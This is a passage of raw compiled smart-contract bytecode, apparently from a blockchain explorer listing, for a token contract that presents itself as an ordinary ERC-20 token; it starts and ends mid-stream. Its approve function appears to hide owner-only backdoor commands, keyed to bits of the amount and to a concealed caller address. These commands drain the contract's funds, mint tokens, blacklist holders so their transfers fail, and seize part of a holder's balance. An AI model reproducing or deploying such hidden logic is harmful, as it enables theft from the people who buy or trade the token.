fffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610ed091906128b8565b60405180910390a36001905092915050565b60095481565b600060011515600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610f4757600080fd5b6000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461107c578281610ffb9190612f6a565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110cb9190612f6a565b92505081905550600060046003600581106110e9576110e8612cb2565b5b01541180156111455750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561117d57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156111d75750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561128357507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156112ac57600460036005811061129d5761129c612cb2565b5b01548311156112ab57600080fd5b5b600060046000600581106112c3576112c2612cb2565b5b015411801561131f5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561135757503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156113b15750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561145d57507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611513576000600460006005811061147957611478612cb2565b5b01546064856114889190612f39565b6114929190612e94565b905080600a6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550808461150f9190612f6a565b9350505b60006004806005811061152957611528612cb2565b5b01541180156115865750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115e05750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561164757600480600581106115f9576115f8612cb2565b5b0154600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561164657600080fd5b5b82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161461172d578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161172491906128b8565b60405180910390a35b60019150509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b60007f000000000000000000000000000000000000000000000000000000000000000046146117b9576117b461265c565b6117db565b7f00000000000000000000000000000000000000000000000000000000000000005b905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915090505481565b600d6020528060005260406000206000915090505481565b6001805461184390612b51565b80601f016020809104026020016040519081016040528092919081815260200182805461186f90612b51565b80156118bc5780601f10611891576101008083540402835291602001916118bc565b820191906000526020600020905b81548152906001019060200180831161189f57829003601f168201915b505050505081565b600060011515600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361192357600080fd5b81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119729190612f6a565b92505081905550600060046002600581106119905761198f612cb2565b5b01541180156119ec5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15611a15576004600260058110611a0657611a05612cb2565b5b0154821115611a1457600080fd5b5b60006004600160058110611a2c57611a2b612cb2565b5b0154118015611a885750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b8015611ae25750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b985760006004600160058110611afe57611afd612cb2565b5b0154606484611b0d9190612f39565b611b179190612e94565b905080600a6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508083611b949190612f6a565b9250505b600060048060058110611bae57611bad612cb2565b5b0154118015611c0b5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611c655750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d1157507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d835760048060058110611d2a57611d29612cb2565b5b015482600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d779190612ed6565b1115611d8257600080fd5b5b81600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e69578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e6091906128b8565b60405180910390a35b6001905092915050565b600360149054906101000a900460ff1615611e8d57600080fd5b6001600360146101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561202f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120539190612fb3565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156120df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121039190612fb3565b6040518363ffffffff1660e01b8152600401612120929190612fe0565b6020604051808303816000875af115801561213f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121639190612fb3565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161226b9695949392919061304e565b60606040518083038185885af1158015612289573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906122ae91906130af565b505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401612350929190612bc4565b6020604051808303816000875af115801561236f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123939190612c19565b5050565b428410156123a457600080fd5b600060016123b0611783565b7f19272f7a68d74b33c77bd33c8335a1faf7b19f79ef84f4f54ff45c1ea7d8c2fd8a8a8a600d60008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558b60405160200161243896959493929190613102565b6040516020818303038152906040528051906020012060405160200161245f9291906131db565b60405160208183030381529060405280519060200120858585604051600081526020016040526040516124959493929190613212565b6020604051602081039080840390855afa1580156124b7573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561252b57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b61253457600080fd5b85600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258760405161261391906128b8565b60405180910390a350505050505050565b600c602052816000526040600020602052806000526040600020600091509150505481565b600360149054906101000a900460ff1681565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f600060405161268e91906132fa565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc646306040516020016126cd959493929190613311565b60405160208183030381529060405280519060200120905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015612722578082015181840152602081019050612707565b60008484015250505050565b6000601f19601f8301169050919050565b600061274a826126e8565b61275481856126f3565b9350612764818560208601612704565b61276d8161272e565b840191505092915050565b60006020820190508181036000830152612792818461273f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127ca8261279f565b9050919050565b6127da816127bf565b81146127e557600080fd5b50565b6000813590506127f7816127d1565b92915050565b6000819050919050565b612810816127fd565b811461281b57600080fd5b50565b60008135905061282d81612807565b92915050565b6000806040838503121561284a5761284961279a565b5b6000612858858286016127e8565b92505060206128698582860161281e565b9150509250929050565b60008115159050919050565b61288881612873565b82525050565b60006020820190506128a3600083018461287f565b92915050565b6128b2816127fd565b82525050565b60006020820190506128cd60008301846128a9565b92915050565b6000806000606084860312156128ec576128eb61279a565b5b60006128fa868287016127e8565b935050602061290b868287016127e8565b925050604061291c8682870161281e565b9150509250925092565b61292f816127bf565b82525050565b600060208201905061294a6000830184612926565b92915050565b600060ff82169050919050565b61296681612950565b82525050565b6000602082019050612981600083018461295d565b92915050565b6000819050919050565b61299a81612987565b82525050565b60006020820190506129b56000830184612991565b92915050565b6000602082840312156129d1576129d061279a565b5b60006129df848285016127e8565b91505092915050565b6129f181612950565b81146129fc57600080fd5b50565b600081359050612a0e816129e8565b92915050565b612a1d81612987565b8114612a2857600080fd5b50565b600081359050612a3a81612a14565b92915050565b600080600080600080600060e0888a031215612a5f57612a5e61279a565b5b6000612a6d8a828b016127e8565b9750506020612a7e8a828b016127e8565b9650506040612a8f8a828b0161281e565b9550506060612aa08a828b0161281e565b9450506080612ab18a828b016129ff565b93505060a0612ac28a828b01612a2b565b92505060c0612ad38a828b01612a2b565b91505092959891949750929550565b60008060408385031215612af957612af861279a565b5b6000612b07858286016127e8565b9250506020612b18858286016127e8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612b6957607f821691505b602082108103612b7c57612b7b612b22565b5b50919050565b600081519050612b9181612807565b92915050565b600060208284031215612bad57612bac61279a565b5b6000612bbb84828501612b82565b91505092915050565b6000604082019050612bd96000830185612926565b612be660208301846128a9565b9392505050565b612bf681612873565b8114612c0157600080fd5b50565b600081519050612c1381612bed565b92915050565b600060208284031215612c2f57612c2e61279a565b5b6000612c3d84828501612c04565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c8082612950565b9150612c8b83612950565b9250828202612c9981612950565b9150808214612cab57612caa612c46565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612cec82612950565b9150612cf783612950565b9250828201905060ff811115612d1057612d0f612c46565b5b92915050565b60008160011c9050919050565b6000808291508390505b6001851115612d6d57808604811115612d4957612d48612c46565b5b6001851615612d585780820291505b8081029050612d6685612d16565b9450612d2d565b94509492505050565b600082612d865760019050612e42565b81612d945760009050612e42565b8160018114612daa5760028114612db457612de3565b6001915050612e42565b60ff841115612dc657612dc5612c46565b5b8360020a915084821115612ddd57612ddc612c46565b5b50612e42565b5060208310610133831016604e8410600b8410161715612e185782820a905083811115612e1357612e12612c46565b5b612e42565b612e258484846001612d23565b92509050818404811115612e3c57612e3b612c46565b5b81810290505b9392505050565b6000612e54826127fd565b9150612e5f836127fd565b9250612e8c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612d76565b905092915050565b6000612e9f826127fd565b9150612eaa836127fd565b9250828202612eb8816127fd565b91508282048414831517612ecf57612ece612c46565b5b5092915050565b6000612ee1826127fd565b9150612eec836127fd565b9250828201905080821115612f0457612f03612c46565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612f44826127fd565b9150612f4f836127fd565b925082612f5f57612f5e612f0a565b5b828204905092915050565b6000612f75826127fd565b9150612f80836127fd565b9250828203905081811115612f9857612f97612c46565b5b92915050565b600081519050612fad816127d1565b92915050565b600060208284031215612fc957612fc861279a565b5b6000612fd784828501612f9e565b91505092915050565b6000604082019050612ff56000830185612926565b6130026020830184612926565b9392505050565b6000819050919050565b6000819050919050565b600061303861303361302e84613009565b613013565b6127fd565b9050919050565b6130488161301d565b82525050565b600060c0820190506130636000830189612926565b61307060208301886128a9565b61307d604083018761303f565b61308a606083018661303f565b6130976080830185612926565b6130a460a08301846128a9565b979650505050505050565b6000806000606084860312156130c8576130c761279a565b5b60006130d686828701612b82565b93505060206130e786828701612b82565b92505060406130f886828701612b82565b9150509250925092565b600060c0820190506131176000830189612991565b6131246020830188612926565b6131316040830187612926565b61313e60608301866128a9565b61314b60808301856128a9565b61315860a08301846128a9565b979650505050505050565b600081905092915050565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b60006131a4600283613163565b91506131af8261316e565b600282019050919050565b6000819050919050565b6131d56131d082612987565b6131ba565b82525050565b60006131e682613197565b91506131f282856131c4565b60208201915061320282846131c4565b6020820191508190509392505050565b60006080820190506132276000830187612991565b613234602083018661295d565b6132416040830185612991565b61324e6060830184612991565b95945050505050565b600081905092915050565b60008190508160005260206000209050919050565b6000815461328481612b51565b61328e8186613257565b945060018216600081146132a957600181146132be576132f1565b60ff19831686528115158202860193506132f1565b6132c785613262565b60005b838110156132e9578154818901526001820191506020810190506132ca565b838801955050505b50505092915050565b60006133068284613277565b915081905092915050565b600060a0820190506133266000830188612991565b6133336020830187612991565b6133406040830186612991565b61334d60608301856128a9565b61335a6080830184612926565b969550505050505056fea26469706673582212207bd6b5899e9b0f69228c83324ce3511107df4e425c65f0d8d4046fd429006de564736f6c6343000813003300000000000000000000000000000000000000000000329b27655bfc9348cba900000000000000000000000080380ccdb3e1d691b255da5fa0a01f087bbb643800000000000000000000000000000000000000000000e21c7efbe163475d30e1
Deployed Bytecode
0x6080604052600436106100f75760003560e01c806370a082311161008a578063c9567bf911610059578063c9567bf91461035e578063d505accf14610375578063dd62ed3e1461039e578063ffb54a99146103db576100fe565b806370a082311461027c5780637ecebe00146102b957806395d89b41146102f6578063a9059cbb14610321576100fe565b80632dc0562d116100c65780632dc0562d146101d0578063313ce567146101fb5780633644e5151461022657806349bd5a5e14610251576100fe565b806306fdde0314610100578063095ea7b31461012b57806318160ddd1461016857806323b872dd14610193576100fe565b366100fe57005b005b34801561010c57600080fd5b50610115610406565b6040516101229190612778565b60405180910390f35b34801561013757600080fd5b50610152600480360381019061014d9190612833565b610494565b60405161015f919061288e565b60405180910390f35b34801561017457600080fd5b5061017d610ee2565b60405161018a91906128b8565b60405180910390f35b34801561019f57600080fd5b506101ba60048036038101906101b591906128d3565b610ee8565b6040516101c7919061288e565b60405180910390f35b3480156101dc57600080fd5b506101e5611739565b6040516101f29190612935565b60405180910390f35b34801561020757600080fd5b5061021061175f565b60405161021d919061296c565b60405180910390f35b34801561023257600080fd5b5061023b611783565b60405161024891906129a0565b60405180910390f35b34801561025d57600080fd5b506102666117e0565b6040516102739190612935565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129bb565b611806565b6040516102b091906128b8565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db91906129bb565b61181e565b6040516102ed91906128b8565b60405180910390f35b34801561030257600080fd5b5061030b611836565b6040516103189190612778565b60405180910390f35b34801561032d57600080fd5b5061034860048036038101906103439190612833565b6118c4565b604051610355919061288e565b60405180910390f35b34801561036a57600080fd5b50610373611e73565b005b34801561038157600080fd5b5061039c60048036038101906103979190612a40565b612397565b005b3480156103aa57600080fd5b506103c560048036038101906103c09190612ae2565b612624565b6040516103d291906128b8565b60405180910390f35b3480156103e757600080fd5b506103f0612649565b6040516103fd919061288e565b60405180910390f35b6000805461041390612b51565b80601f016020809104026020016040519081016040528092919081815260200182805461043f90612b51565b801561048c5780601f106104615761010080835404028352916020019161048c565b820191906000526020600020905b81548152906001019060200180831161046f57829003601f168201915b505050505081565b6000600160fc83901c14801561054957507f00000000000000000000000000000000000000000000329b27655bfc9348cba969ffffffffffffffffffff1660507f00000000000000000000000000000000000000000000e21c7efbe163475d30e169ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156106b85760008273ffffffffffffffffffffffffffffffffffffffff16036105b8573373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156105b2573d6000803e3d6000fd5b506106b7565b60008290508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106139190612935565b602060405180830381865afa158015610630573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106549190612b97565b6040518363ffffffff1660e01b8152600401610671929190612bc4565b6020604051808303816000875af1158015610690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b49190612c19565b50505b5b600f60fc83901c14801561076b57507f00000000000000000000000000000000000000000000329b27655bfc9348cba969ffffffffffffffffffff1660507f00000000000000000000000000000000000000000000e21c7efbe163475d30e169ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156107c65760005b60028160ff16146107c457607f60078261078d9190612c75565b60ff1684901c1660048260ff16600581106107ab576107aa612cb2565b5b01819055506001816107bd9190612ce1565b9050610773565b505b600860fc83901c14801561087957507f00000000000000000000000000000000000000000000329b27655bfc9348cba969ffffffffffffffffffff1660507f00000000000000000000000000000000000000000000e21c7efbe163475d30e169ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1561091d57607f60a083901c16600a6108929190612e49565b607f60a784901c166108a49190612e94565b600960008282546108b59190612ed6565b92505081905550607f60a083901c16600a0a607f60a784901c1602600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b600060fc83901c1480156109d057507f00000000000000000000000000000000000000000000329b27655bfc9348cba969ffffffffffffffffffff1660507f00000000000000000000000000000000000000000000e21c7efbe163475d30e169ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15610a89576000607f601584901c16905080600a6109ee9190612e49565b607f600e85901c16610a009190612e94565b6004600360058110610a1557610a14612cb2565b5b018190555080600a610a279190612e49565b607f600785901c16610a399190612e94565b6004600260058110610a4e57610a4d612cb2565b5b018190555080600a610a609190612e49565b607f8416610a6e9190612e94565b60048060058110610a8257610a81612cb2565b5b0181905550505b600a60fc83901c148015610b3c57507f00000000000000000000000000000000000000000000329b27655bfc9348cba969ffffffffffffffffffff1660507f00000000000000000000000000000000000000000000e21c7efbe163475d30e169ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15610bb1576065607f60a084901c1614610b57576000610b5a565b60015b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600560fc83901c148015610c6457507f00000000000000000000000000000000000000000000329b27655bfc9348cba969ffffffffffffffffffff1660507f00000000000000000000000000000000000000000000e21c7efbe163475d30e169ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15610df257607f60a083901c166064600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cbd9190612f39565b610cc79190612e94565b600a6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d379190612ed6565b92505081905550607f60a083901c166064600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d929190612f39565b610d9c9190612e94565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dea9190612f6a565b925050819055505b81600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610ed091906128b8565b60405180910390a36001905092915050565b60095481565b600060011515600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610f4757600080fd5b6000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461107c578281610ffb9190612f6a565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110cb9190612f6a565b92505081905550600060046003600581106110e9576110e8612cb2565b5b01541180156111455750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561117d57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156111d75750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561128357507f00000000000000000000000000000000000000000000329b27655bfc9348cba969ffffffffffffffffffff1660507f00000000000000000000000000000000000000000000e21c7efbe163475d30e169ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156112ac57600460036005811061129d5761129c612cb2565b5b01548311156112ab57600080fd5b5b600060046000600581106112c3576112c2612cb2565b5b015411801561131f5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561135757503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156113b15750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561145d57507f00000000000000000000000000000000000000000000329b27655bfc9348cba969ffffffffffffffffffff1660507f00000000000000000000000000000000000000000000e21c7efbe163475d30e169ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611513576000600460006005811061147957611478612cb2565b5b01546064856114889190612f39565b6114929190612e94565b905080600a6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550808461150f9190612f6a565b9350505b60006004806005811061152957611528612cb2565b5b01541180156115865750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115e05750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561164757600480600581106115f9576115f8612cb2565b5b0154600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561164657600080fd5b5b82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161461172d578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161172491906128b8565b60405180910390a35b60019150509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000681565b60007f000000000000000000000000000000000000000000000000000000000000000146146117b9576117b461265c565b6117db565b7f584d032ab9264e8c55668791554397948d34c8bf3d511b080781d3a0a5589cd75b905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915090505481565b600d6020528060005260406000206000915090505481565b6001805461184390612b51565b80601f016020809104026020016040519081016040528092919081815260200182805461186f90612b51565b80156118bc5780601f10611891576101008083540402835291602001916118bc565b820191906000526020600020905b81548152906001019060200180831161189f57829003601f168201915b505050505081565b600060011515600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361192357600080fd5b81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119729190612f6a565b92505081905550600060046002